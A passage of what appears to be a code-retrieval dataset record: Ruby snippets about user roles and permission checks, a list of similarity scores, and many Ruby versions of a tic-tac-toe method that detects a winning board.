"def get_action (type)\n raise ArgumentError, 'type must be either :admins or :trusted.' unless TYPES.include?(type)\n case type\n when :admins then shared[:redis].smembers(\"bot.%s:admins\" % @bot.irc.isupport['NETWORK'].downcase)\n when :trusted then shared[:redis].sunion(\"bot.%s:admins\" % @bot.irc.isupport['NETWORK'].downcase, \"bot.%s:trusted\" % @bot.irc.isupport['NETWORK'].downcase)\n end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n if current_user.admin?\n # Role management\n # don't allow :destroy, :edit, :create\n # - destroy adds a 'delete' button that\n # - could be clicked accidentally\n # - would be very infrequently used (if ever)\n # - implications of edit are unclear for associated actions\n # - create is meaningless without associating actions which happens in code.\n can [:read, :add_user, :remove_user], Role\n end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def custom_permissions\n # Limits deleting objects to a the admin user\n #\n # if current_user.admin?\n # can [:destroy], ActiveFedora::Base\n # end\n\n # Limits creating new objects to a specific group\n #\n # if user_groups.include? 'special_group'\n # can [:create], ActiveFedora::Base\n # end\n end",
"def permissions_policy(&block); end",
"def isAdmin\n \n end",
"def role_symbols\n [:admin,:developer,:support_person]\n end",
"def publication_admin(role)\n can :read, Publication, :id => role.publication_id\n can :update, Publication, :id => role.publication_id\n can :manage, Issue, :publication_id => role.publication_id\n can :update, AdminUser, :id => @user.id\n\n end",
"def valid_permission_level?(level)\n level == \"viewer\" or level == \"editor\" or level == \"admin\"\n end",
"def index\n @member_groups = @user.groups_where_member\n @admin_groups = @user.groups_where_admin\n end",
"def admin_assistant?\n if self.role and self.role < 3 \n true\n end\n end",
"def clistalladmins(m)\n if is_supadmin?(m.user) || is_admin?(m.user)\n m.reply \"The current admins are #{$adminhash}.\", true\n else\n m.reply NOTADMIN, true\n end\n end",
"def eval_cancan_action(accion)\n case accion.to_s\n when \"index\"\n nombre = 'list'\n cancan_action = \"index\" #let the cancan action be the actual method name\n action_desc = I18n.t :list\n when \"new\", \"create\"\n nombre = 'create and update'\n cancan_action = \"create\"\n action_desc = I18n.t :create\n when \"show\"\n nombre = 'view'\n cancan_action = \"view\"\n action_desc = I18n.t :view\n when \"edit\", \"update\"\n nombre = 'create and update'\n cancan_action = \"update\"\n action_desc = I18n.t :update\n when \"delete\", \"destroy\"\n nombre = 'delete'\n cancan_action = \"destroy\"\n action_desc = I18n.t :destroy\n else\n #Convencion de nombre de metodos publicos del sistema\n # wf = Web Function\n if accion =~ /^wf_/i\n nombre = accion.to_s\n cancan_action = accion.to_s\n action_desc = \"Other: \" < cancan_action\n end\n end\n return nombre, cancan_action\nend",
"def index\n restrict('allow only admins') or begin\n if params[:form_status].nil?\n redirect_to admin_forms_by_status_path(:form_status => 'submitted')\n elsif params[:form_status] == 'archived'\n render :action => 'archive_view'\n else\n @forms = FormInstance.find_all_by_status_number(params[:form_status].as_status.number)\n end\n end\n end",
"def require_moderator_access\n sub = Sub.friendly.find(params[:id])\n unless sub.moderators.include?(current_user)\n flash[:error] = \"Only moderators can perform this action.\"\n redirect_to sub_url(sub)\n end\n end",
"def permissions\n\t\tauthorize @user\n\t\t@permissions = []\n\t\tonly_theirs = \"Only theirs\"\n\t\tyes = \"Yes\"\n\t\tno = \"No\"\n\t\tnames = [\"View positions\", \"Create positions\", \"Edit positions\", \"Delete positions\",\n\t\t \"Apply\", \"View applications\", \"Edit applications\", \"Delete applications\",\n\t\t \"Change application submission status\"]\n\t\tadmin_permissions = [yes, yes, yes, yes, yes, \"All\", yes, yes, yes]\n\t\tmod_permissions = [yes, no, yes, no, yes, \"All but incomplete\", only_theirs, only_theirs, yes]\n\t\tuser_permissions = [yes, no, no, no, yes, only_theirs, only_theirs, only_theirs, no]\n\t\tnames.each_with_index do |permission, index|\n\t\t\t@permissions << { name: names[index], admin: admin_permissions[index], mod: mod_permissions[index], user: user_permissions[index]}\n\t\tend\n\n @title = 'Permissions'\n\tend",
"def index\n #you dont want to set the permissions for Super Admin.\n @roles = Role.all.keep_if{|i| i.name != \"Super Admin\"}\n end",
"def only_admin\n if user_role == 'admin'\n else\n redirect_to clients_path, notice: \"У вас нет прав для просмотра даного раздела, или редактирования информации\"\n end\n end",
"def has_permission?(level)\n return self.id == 220509153985167360 if level == :ink\n my_permission = self.class.bot_owner_permission\n case level\n when :user\n true\n when :moderator\n if self.id == 220509153985167360\n my_permission == :moderator || my_permission == :administrator\n else\n self.role?(469976942003748875) || self.role?(466545066924572674)\n end\n when :administrator\n if self.id == 220509153985167360\n my_permission == :administrator\n else\n self.role?(466545066924572674)\n end\n end\n end",
"def tracker_admin_role\n self.roles.detect { |r| r.name == 'Admin'}\n end",
"def is_admin?\n (self.role =~ /admin/) == 0 ? true : false\n end",
"def index\n if current_user.rol == 1\n @types = Type.order(:id)\n @type = Type.new\n else\n @mensaje = \"Seccion solo para administrador\"\n end\n end",
"def default(user)\n puts \"Rights: default\"\n # can :read, :all # doesn't do that ! We will authorize each actions\n can :read, [Doc, Gallery, Image, Place]\n can :manage, User, :id => user.id\n cannot :destroy, User, :id => user.id\n\n can :read, ForumCategory, [\"role <= ?\", user.role] do |forum_category|\n forum_category.role <= user.role\n end\n\n can :read, Forum, [\"role <= ?\", user.role] do |forum|\n if (forum.role <= user.role)\n can :read, Topic\n can :read, Message\n true\n else\n false\n end\n end\n\n # can read users profiles\n can :read, User\n\n # special actions\n can :mark_all_read, Forum\n end",
"def sanitize_level\n return Sanitize::Config::BASIC if self.current_editor.nil?\n return nil if self.current_editor.admin?\n return Sanitize::Config::RELAXED if self.current_editor.any_role?('editor', 'manager', 'contributor')\n Sanitize::Config::BASIC\n end",
"def is_admin?\n\t\treturn self.usertype == \"admin\"\n\tend"
] |
[
"0.603844",
"0.60086983",
"0.5978943",
"0.59244776",
"0.58998626",
"0.588817",
"0.58838844",
"0.5875513",
"0.5869507",
"0.5838373",
"0.5838373",
"0.583434",
"0.5820915",
"0.5808943",
"0.58060676",
"0.58038723",
"0.58038723",
"0.57948697",
"0.5754242",
"0.574636",
"0.5734701",
"0.57261264",
"0.57205915",
"0.56859773",
"0.5673573",
"0.5654811",
"0.5651028",
"0.5651028",
"0.5624927",
"0.56009257",
"0.5595612",
"0.55893505",
"0.55850214",
"0.5585008",
"0.55808026",
"0.55771685",
"0.55769026",
"0.55690145",
"0.55479944",
"0.55464613",
"0.5515169",
"0.550567",
"0.5503904",
"0.5503008",
"0.5491652",
"0.54758745",
"0.54695237",
"0.5469078",
"0.5462733",
"0.5461688",
"0.5455689",
"0.54494387",
"0.54482114",
"0.54481506",
"0.54420656",
"0.543917",
"0.54237974",
"0.5418796",
"0.5416727",
"0.5416727",
"0.54156095",
"0.539868",
"0.5387646",
"0.53864104",
"0.53863245",
"0.5383222",
"0.53826684",
"0.53721017",
"0.53706574",
"0.53692925",
"0.53602964",
"0.53556335",
"0.53551793",
"0.5338298",
"0.5335525",
"0.53344303",
"0.5333489",
"0.53246033",
"0.53231794",
"0.5320393",
"0.5317025",
"0.53142256",
"0.53137213",
"0.5311792",
"0.5309285",
"0.5307674",
"0.5305015",
"0.5302623",
"0.5297988",
"0.52955925",
"0.52955854",
"0.52938944",
"0.5293738",
"0.5292723",
"0.52724797",
"0.5271232",
"0.52706933",
"0.5268538",
"0.5263817",
"0.5259406",
"0.52571464"
] |
0.0
|
-1
|
=begin def won?(board) xs = [] os = [] board.each do |position| if board[position] == "X" xs << position elsif board[position] == "O" os << position end end end =end
|
def won?(board)
win_combination = []
WIN_COMBINATIONS.each do |line|
if line.all? { |pos| board[pos] == "X" }
win_combination = line
end
if line.all? { |pos| board[pos] == "O" }
win_combination = line
end
end
if win_combination != []
win_combination
else
false
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def winner(board)\r\n #return token x or o that won the game\r\n \r\n if ( won?(board) )\r\n position_array = []\r\n (won?(board)).each do |element|\r\n position_array << board[element]\r\n end\r\n choice_X = position_array.all? do|element|\r\n element == \"X\"\r\n end\r\n if (choice_X )\r\n return \"X\"\r\n else\r\n return \"O\"\r\n end\r\n end\r\nend",
"def won?(board)\n board.all? {|i| i != \" \" || i != \"\"}\n winning_array = WIN_COMBINATIONS.detect do |win_array|\n if win_array.all? {|position| board[position] == \"X\" } == true\n winning_array.inspect\n elsif win_array.all? {|position| board[position] == \"O\" } == true\n winning_array.inspect\n end\n end\nend",
"def won? (board)\n WIN_COMBINATIONS.each do |combo|\n #creates an array to test with #all?\n posit = [\" \", \" \", \" \"]\n counter = 0\n #starts loop to test posit\n combo.each do |windex|\n posit[counter] = board [windex]\n counter +=1\n #tests for full array\n if posit.all? {|var| var == \"X\"}\n return combo\n elsif posit.all? {|var| var == \"O\"}\n return combo\n end\n end\n end\n return false\nend",
"def won?(board)\nempty_board = board.all? {|empty| empty == \" \"}\ndraw = board.all? {|token| token == \"X\" || token == \"O\"}\nWIN_COMBINATIONS.any? do |win_combo|\n if win_combo.all? {|index| board[index] ==\"X\" } || win_combo.all? {|index| board[index] ==\"O\"}\n return win_combo\n else empty_board || draw\n false\n end\n end\nend",
"def won?(board)\nempty_board = board.all? {|empty| empty == \" \"}\ndraw = board.all? {|token| token == \"X\" || token == \"O\"}\nWIN_COMBINATIONS.any? do |win_combo|\n if win_combo.all? {|index| board[index] ==\"X\" } || win_combo.all? {|index| board[index] ==\"O\"}\n return win_combo\n else empty_board || draw\n false\n end\n end\nend",
"def won?(board) \n winning_array = []\n\n WIN_COMBINATIONS.each do |combo|\n board_values = []\n combo.each do |position_value|\n board_values.push(board[position_value]) \n #puts \"the current board value is #{board_values}\" \n end\n if board_values.all?{|values| values == \"X\" }|| board_values.all?{|values| values == \"O\"}\n winning_array = combo\n end\n end\n \n if winning_array == [] && full?(board) == true\n winning_array = false\n end\n\n if board.all?{|values| values == \" \" }|| board.all?{|values| values == \"\"}\n winning_array = false\n end\n\n winning_array \n\nend",
"def won?(board)\n if board.all? { |place| place == ' ' }\n return false\n end\n for combo in WIN_COMBINATIONS\n if combo.all? { |index| board[index] == 'X' }\n return combo\n elsif combo.all? { |index| board[index] == 'O' }\n return combo\n end\n end\n false\nend",
"def won?(board)\n win_combo = nil\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n token1 = board[win_combination[0]]\n token2 = board[win_combination[1]]\n token3 = board[win_combination[2]]\n\n if token1 == \"X\" && token2 == \"X\" && token3 == \"X\"\n win_combo = win_combination\n elsif token1 == \"O\" && token2 == \"O\" && token3 == \"O\"\n win_combo = win_combination\n end\n end\n win_combo\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |winner| #comes out with [0,1,2]\n\n win_index_1 = winner[0]\n win_index_2 = winner[1]\n win_index_3 = winner[2]\n\n\n position_1 = board[win_index_1] #store board position 0\n position_2 = board[win_index_2] #store board position 1\n position_3 = board[win_index_3] #store board position 2\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return winner\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return winner\n end\n end\n false\nend",
"def won?\n \n \tboard_empty = @board.none? { |i| i == \"X\" || i = \"O\"}\n\tif board_empty\n \tfalse\n\telse\n WIN_COMBINATIONS.each do |element|\n \tif @board[element[0]] == \"X\" && @board[element[1]] == \"X\" && @board[element[2]] == \"X\" || @board[element[0]] == \"O\" && @board[element[1]] == \"O\" && @board[element[2]] == \"O\"\n \treturn element\n \tend\n \tend\n \treturn false\n end\nend",
"def won?(board)\n if board.all? == \" \" || board.all? == nil\n return nil\n else\nWIN_COMBINATIONS.detect do |win|\n board[win[0]] == \"X\" && board[win[1]] == \"X\" && board[win[2]] == \"X\" ||\n board[win[0]] == \"O\" && board[win[1]] == \"O\" && board[win[2]] == \"O\"\n\n end\n end\nend",
"def won?(board)\n if board.all? == \" \" || board.all? == nil\n return nil\n else\nWIN_COMBINATIONS.detect do |win|\n board[win[0]] == \"X\" && board[win[1]] == \"X\" && board[win[2]] == \"X\" ||\n board[win[0]] == \"O\" && board[win[1]] == \"O\" && board[win[2]] == \"O\"\n\n end\n end\nend",
"def won?(board)\n tanda=0\n WIN_COMBINATIONS.each do |ok|\n if board[ok[0]]== \"X\" && board[ok[1]]== \"X\" && board[ok[2]]==\"X\"\n tanda=2\n return ok\n elsif board[ok[0]]== \"O\" && board[ok[1]]== \"O\" && board[ok[2]]==\"O\"\n tanda=2\n return ok\n end\n end\n if tanda==0\n return false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\nindex_1 = combo[0]\ntoken_1 = board[index_1]\nindex_2 = combo[1]\ntoken_2 = board[index_2]\nindex_3 = combo[2]\ntoken_3 = board[index_3]\n if token_1 == \"X\" && token_2 == \"X\" && token_3 == \"X\"\n return combo\n elsif token_1 == \"O\" && token_2 == \"O\" && token_3 == \"O\"\n return combo\n end\n end\n return false\nend",
"def won?(board)\n if board.none?{|i| i != \" \"}\n return false\n end\n \n \n if board[0] == \"X\" && board[1]== \"X\" && board[2]== \"X\"\n return WIN_COMBINATIONS[0]\n elsif board[3] == \"X\" && board[4] == \"X\" && board[5]== \"X\"\n return WIN_COMBINATIONS[1]\n elsif board[6] == \"X\" && board[7] == \"X\" && board[8]== \"X\"\n return WIN_COMBINATIONS[2]\n elsif board[0] == \"O\" && board[3] == \"O\" && board[6]== \"O\" \n return WIN_COMBINATIONS[3]\n elsif board[1] == \"O\" && board[4] == \"O\" && board[7]== \"O\" \n return WIN_COMBINATIONS[4]\n elsif board[2] == \"O\" && board[5] == \"O\" && board[8]== \"O\" \n return WIN_COMBINATIONS[5]\n elsif board[0] == \"X\" && board[4] == \"X\" && board[8]== \"X\" \n return WIN_COMBINATIONS[6]\n elsif board[6] == \"O\" && board[4] == \"O\" && board[2]== \"O\" \n return WIN_COMBINATIONS[7]\n end\nend",
"def won?(board)\n \n WIN_COMBINATIONS.each {|i|\n #get win combinations at each loops\n win_1= i[0]\n win_2 = i[1]\n win_3 = i[2]\n \n \n pos_1 = board[win_1]\n pos_2 = board[win_2]\n pos_3 = board[win_3]\n \n if(pos_1 == \"O\" && pos_2 == \"O\" && pos_3 == \"O\")\n return i\n elsif (pos_1 == \"X\" && pos_2 == \"X\" && pos_3 == \"X\")\n return i\n end\n }\n return false\n end",
"def won?(board)\n\nif\n WIN_COMBINATIONS.detect do |winner|\n winner.all? {|token| board[token] == \"X\"} || winner.all? {|token| board[token] == \"O\"}\n end\nelse\n x = false\nend\nend",
"def won?(board)\n \n # Iterates through WIN_COMBINATIONS and finds first matching win_combination and returns the winning array.\n WIN_COMBINATIONS.detect do |win_combination|\n \n # Each 'win_index' returns the first, second, and third elements of each winning combo array.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n # Each 'position' uses the indices from the winning combos and applies them to the 'board' array.\n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n \n # Takes first win_combination and checks to see if they are all \"X\"'s or \"O\"'s and that the string is not empty.\n position_1 == position_2 && position_2 == position_3 && position_taken?(board, win_index_1)\n end\nend",
"def won?(board)\n if empty?(board)\n return false\n end\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n return win_combination # return the win_combination indexes that won.\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\n\n if full?(board)\n return false\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |combo|\n win_combination = [combo[0], combo[1], combo[2]]\n windex1 = win_combination[0]\n windex2 = win_combination[1]\n windex3 = win_combination[2]\n\n pos1 = board[windex1]\n pos2 = board[windex2]\n pos3 = board[windex3]\n win_combo = [pos1,pos2,pos3]\n\n if pos1 == \"X\" && pos2 == \"X\" && pos3 == \"X\" || pos1 ==\"O\" && pos2 == \"O\" && pos3 == \"O\"\n return win_combination\n end\nend\n return false\nend",
"def won?(board)\n return false if board.all?{|x| x == \" \"}\n WIN_COMBINATIONS.each do |wincombo|\n if wincombo.all?{|idx| board[idx] == \"X\"} || wincombo.all?{|idx| board[idx] == \"O\"}\n return wincombo\n end\n end\n false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do|win|\n if (board[win[0]] == 'X' && board[win[1]] == 'X' && board[win[2]] == 'X') || (board[win[0]] == 'O' && board[win[1]] == 'O' && board[win[2]] == 'O')\n return win\n end\n end\n false\nend",
"def won?(board)\n WIN_COMBINATIONS.each {|win_combo|\n index_0 = win_combo[0]\n index_1 = win_combo[1]\n index_2 = win_combo[2]\n\n position_1 = board[index_0]\n position_2 = board[index_1]\n position_3 = board[index_2]\n\n if position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\"\n final_winner = \"X\"\n return win_combo\n elsif position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"\n final_winner = \"O\"\n return win_combo\n end\n }\n return false\nend",
"def won?(board)\n\n WIN_COMBINATIONS.each do |win_arr|\n\n yes_x = win_arr.all? do |i|\n board[i] == 'X'\n end\n\n if yes_x == true\n return win_arr\n end\n\n yes_o = win_arr.all? do |i|\n board[i] == 'O'\n end\n\n if yes_o == true\n return win_arr\n end\n end\n\n return nil\n\nend",
"def won?(board)\n empty_board = board.all? do |element|\n element.nil? || element == \" \"\n end\n if empty_board\n return false\n end\n # For each win_combination in WIN_COMBINATIONS\n # win_combination is a 3 element array of indexes that compose a win, [0,1,2]\n WIN_COMBINATIONS.each do |win_combination|\n # grab each index from the win_combination that composes a win.\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n # puts \"#{win_combination}\"\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination # return the win_combination indexes that won.\n else\n false\n end\n end\n\n return false\n\nend",
"def won?(board)\n # Checks all tiles in board and tracks the indexes where Xs and Os are\n x_indexes, o_indexes = [], []\n index = 0\nuntil index == 9\nboard[index] == \"X\" ? x_indexes.push(index) : (board[index] == \"O\" ? (o_indexes.push(index)) : ())\nindex += 1\n end\n\n# Checks each win_combination and selects the X or O indexes which match any of the win_combination indexes\n# If the matches include a win_combination, that combination is returned, otherwise false is returned.\n WIN_COMBINATIONS.each { |win_combination|\n x_indexes.select {|idx| win_combination.include?(idx)} == win_combination || o_indexes.select {|idx| win_combination.include?(idx)} == win_combination ? (return win_combination) : ()\n }\nreturn false\n\nend",
"def won?(board)\nWIN_COMBINATIONS.detect do |win_combination|\n #Load each win index into a variable\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n\n #Load the token (if any) at index position into a variable\n position_1 = board[win_index_1].upcase\n position_2 = board[win_index_2].upcase\n position_3 = board[win_index_3].upcase\n\n # Determine whether positions contain winning X (or O) combination\n (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n end\nend",
"def won?(board)\r\n WIN_COMBINATIONS.each do |element|\r\n #element is each sub array in WIN_COMBINATIONS ex. [0,1,2]\r\n win_index_1 = element[0]\r\n win_index_2 = element[1]\r\n win_index_3 = element[2]\r\n\r\n\r\n #position_ gives you the X's and O's at the position in the board\r\n position_1 = board[win_index_1]\r\n position_2 = board[win_index_2]\r\n position_3 = board[win_index_3]\r\n position_array = [position_1,position_2,position_3]\r\n \r\n #tests to see if all of the positions in the array are O's\r\n choice_O = position_array.all? do|element|\r\n element == \"O\"\r\n end\r\n \r\n #tests to see if all of the positions in the array are X's\r\n choice_X = position_array.all? do|element|\r\n element == \"X\"\r\n end\r\n \r\n if ( (position_taken?(board,win_index_1)) && (position_taken?(board,win_index_2)) && (position_taken?(board,win_index_3)) )\r\n if (choice_X || choice_O)\r\n return element\r\n end\r\n end\r\n end\r\n return false\r\n \r\nend",
"def won?(board)\n \nWIN_COMBINATIONS.detect do |a|\n (a.all?{|position| board[position] == \"X\"}) || (a.all?{|position| board[position] == \"O\"})\n\nend\n\nend",
"def winner(board)\n if board[0]==\"X\" && board[1]==\"X\" && board[2]==\"X\" || board[0]==\"X\" && board[3]==\"X\" && board[6]==\"X\"\n puts \"X wins!!\"\n elsif board[3]==\"X\" && board[4]==\"X\" && board[5]==\"X\" || board[1]==\"X\" && board[4]==\"X\" && board[7]==\"X\"\n puts \"X wins!!\"\n elsif board[6]==\"X\" && board[7]==\"X\" && board[8]==\"X\" || board[2]==\"X\" && board[5]==\"X\" && board[8]==\"X\"\n puts \"X wins!!\"\n elsif board[0]==\"O\" && board[1]==\"O\" && board[2]==\"O\" || board[0]==\"O\" && board[3]==\"O\" && board[6]==\"O\"\n puts \"O wins!!\"\n elsif board[3]==\"O\" && board[4]==\"O\" && board[5]==\"O\" || board[1]==\"O\" && board[4]==\"O\" && board[7]==\"O\"\n puts \"O wins!!\"\n elsif board[6]==\"O\" && board[7]==\"O\" && board[8]==\"O\" || board[2]==\"O\" && board[5]==\"O\" && board[8]==\"O\"\n puts \"O wins!!\"\n elsif board[2]==\"X\" && board[4]==\"X\" && board[6]==\"X\" || board[0]==\"X\" && board[4]==\"X\" && board[8]==\"X\"\n puts \"X wins!!\"\n elsif board[2]==\"O\" && board[4]==\"O\" && board[6]==\"O\" || board[0]==\"O\" && board[4]==\"O\" && board[8]==\"O\"\n puts \"O wins!!\"\n else\n\n end\n\nend",
"def won?(board)\n if board == [\" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \", \" \"]\n return false\n end\n\n#counting so we don't return false until we have looked at all of the combinations.\ncount = 0\n\n WIN_COMBINATIONS.each do |combo|\n count = count + 1\n if board[combo[0]] == \"X\" && board[combo[1]] == \"X\" && board[combo[2]] == \"X\"\n return combo\n elsif board[combo[0]] == \"O\" && board[combo[1]] == \"O\" && board[combo[2]] == \"O\"\n return combo\n elsif count == 8\n return false\n end\n end\nend",
"def won?(board)\nWIN_COMBINATIONS.detect do |win_combination|\n if board[win_combination[0]] == \"X\" && board[win_combination[1]] == \"X\" && board[win_combination[2]] == \"X\"\n win_combination\n elsif board[win_combination[0]] == \"O\" && board[win_combination[1]] == \"O\" && board[win_combination[2]] == \"O\"\n win_combination\n else\n end\n end\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_combination|\n if board[win_combination[0]] == \"X\" && board[win_combination[1]] == \"X\" && board[win_combination[2]] == \"X\"\n return win_combination\n elsif board[win_combination[0]] == \"O\" && board[win_combination[1]] == \"O\" && board[win_combination[2]] == \"O\"\n return win_combination\n end\n end\n return false\nend",
"def winner(board)\n if winning_combo = won?(board)\n board[winning_combo.first]\n end\n\n # x_arr = board.each_index.select{|i| board[i] == 'X'}\n # o_arr = board.each_index.select{|i| board[i] == 'O'}\n # if won?(board) == nil\n # nil\n # elsif (won?(board)-x_arr).empty?\n # p \"X\"\n # elsif (won?(board)-o_arr).empty?\n # p \"O\"\n # end\nend",
"def won?(board)\n\n WIN_COMBINATIONS.each do |win_combination|\n win_index_1 = win_combination[0]\n win_index_2 = win_combination[1]\n win_index_3 = win_combination[2]\n \n position_1 = board[win_index_1]\n position_2 = board[win_index_2]\n position_3 = board[win_index_3]\n \n if ((position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") || (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\"))\n return win_combination\n end\n end\n return FALSE\nend",
"def over?(board)\n\n\n # is board full\n board.all? {|i| i == \"O\" || i == \"X\"}\n\n\nend",
"def won?(board)\n # binding.pry\n check = false\n WIN_COMBINATIONS.each do |win_combination|\n first_index = win_combination[0]\n second_index = win_combination[1]\n third_index = win_combination[2]\n\n position_1 = board[first_index]\n position_2 = board[second_index]\n position_3 = board[third_index]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination\n check = true\n end\n end\n check\nend",
"def won?(board)\n # binding.pry\n check = false\n WIN_COMBINATIONS.each do |win_combination|\n first_index = win_combination[0]\n second_index = win_combination[1]\n third_index = win_combination[2]\n\n position_1 = board[first_index]\n position_2 = board[second_index]\n position_3 = board[third_index]\n\n if (position_1 == \"X\" && position_2 == \"X\" && position_3 == \"X\") ||\n (position_1 == \"O\" && position_2 == \"O\" && position_3 == \"O\")\n return win_combination\n check = true\n end\n end\n check\nend",
"def won? (board)\n if (board[WIN_COMBINATIONS[0][0]] == 'X' && board[WIN_COMBINATIONS[0][1]] == 'X' && board[WIN_COMBINATIONS[0][2]] == 'X')\n return WIN_COMBINATIONS[0]\n elsif (board[WIN_COMBINATIONS[0][0]] == 'O' && board[WIN_COMBINATIONS[0][1]] == 'O' && board[WIN_COMBINATIONS[0][2]] == 'O')\n return WIN_COMBINATIONS[0]\n end\n\n if (board[WIN_COMBINATIONS[1][0]] == 'X' && board[WIN_COMBINATIONS[1][1]] == 'X' && board[WIN_COMBINATIONS[1][2]] == 'X')\n return WIN_COMBINATIONS[1]\n elsif (board[WIN_COMBINATIONS[1][0]] == 'O' && board[WIN_COMBINATIONS[1][1]] == 'O' && board[WIN_COMBINATIONS[1][2]] == 'O')\n return WIN_COMBINATIONS[1]\n end\n\n if (board[WIN_COMBINATIONS[2][0]] == 'X' && board[WIN_COMBINATIONS[2][1]] == 'X' && board[WIN_COMBINATIONS[2][2]] == 'X')\n return WIN_COMBINATIONS[2]\n elsif (board[WIN_COMBINATIONS[2][0]] == 'O' && board[WIN_COMBINATIONS[2][1]] == 'O' && board[WIN_COMBINATIONS[2][2]] == 'O')\n return WIN_COMBINATIONS[2]\n end\n\n if (board[WIN_COMBINATIONS[3][0]] == 'X' && board[WIN_COMBINATIONS[3][1]] == 'X' && board[WIN_COMBINATIONS[3][2]] == 'X')\n return WIN_COMBINATIONS[3]\n elsif (board[WIN_COMBINATIONS[3][0]] == 'O' && board[WIN_COMBINATIONS[3][1]] == 'O' && board[WIN_COMBINATIONS[3][2]] == 'O')\n return WIN_COMBINATIONS[3]\n end\n\n if (board[WIN_COMBINATIONS[4][0]] == 'X' && board[WIN_COMBINATIONS[4][1]] == 'X' && board[WIN_COMBINATIONS[4][2]] == 'X')\n return WIN_COMBINATIONS[4]\n elsif (board[WIN_COMBINATIONS[4][0]] == 'O' && board[WIN_COMBINATIONS[4][1]] == 'O' && board[WIN_COMBINATIONS[4][2]] == 'O')\n return WIN_COMBINATIONS[4]\n end\n\n if (board[WIN_COMBINATIONS[5][0]] == 'X' && board[WIN_COMBINATIONS[5][1]] == 'X' && board[WIN_COMBINATIONS[5][2]] == 'X')\n return WIN_COMBINATIONS[5]\n elsif (board[WIN_COMBINATIONS[5][0]] == 'O' && board[WIN_COMBINATIONS[5][1]] == 'O' && board[WIN_COMBINATIONS[5][2]] == 'O')\n return WIN_COMBINATIONS[5]\n end\n if (board[WIN_COMBINATIONS[6][0]] == 'X' && board[WIN_COMBINATIONS[6][1]] == 'X' && board[WIN_COMBINATIONS[6][2]] == 'X')\n return WIN_COMBINATIONS[6]\n elsif (board[WIN_COMBINATIONS[6][0]] == 'O' && board[WIN_COMBINATIONS[6][1]] == 'O' && board[WIN_COMBINATIONS[6][2]] == 'O')\n return WIN_COMBINATIONS[6]\n end\n if (board[WIN_COMBINATIONS[7][0]] == 'X' && board[WIN_COMBINATIONS[7][1]] == 'X' && board[WIN_COMBINATIONS[7][2]] == 'X')\n return WIN_COMBINATIONS[7]\n elsif (board[WIN_COMBINATIONS[7][0]] == 'O' && board[WIN_COMBINATIONS[7][1]] == 'O' && board[WIN_COMBINATIONS[7][2]] == 'O')\n return WIN_COMBINATIONS[7]\n end\nelse\n return false\nend",
"def won?(board)\n WIN_COMBINATIONS.each do |win_array|\n\n win_index_1 = win_array[0]\n win_index_2 = win_array[1]\n win_index_3 = win_array[2]\n\n position_1 = board[win_index_1] # load the value of the board at win_index_1\n position_2 = board[win_index_2] # load the value of the board at win_index_2\n position_3 = board[win_index_3] # load the value of the board at win_index_3\n\n if ((position_taken?(board, win_index_1) && position_1 ==\"X\") && (position_taken?(board, win_index_2) && position_2 ==\"X\") && (position_taken?(board, win_index_3) && position_3 ==\"X\") or \n (position_taken?(board, win_index_1) && position_1 ==\"O\") && (position_taken?(board, win_index_2) && position_2 ==\"O\") && (position_taken?(board, win_index_3) && position_3 ==\"O\"))\n return win_array\n end\n end\n return false\nend",
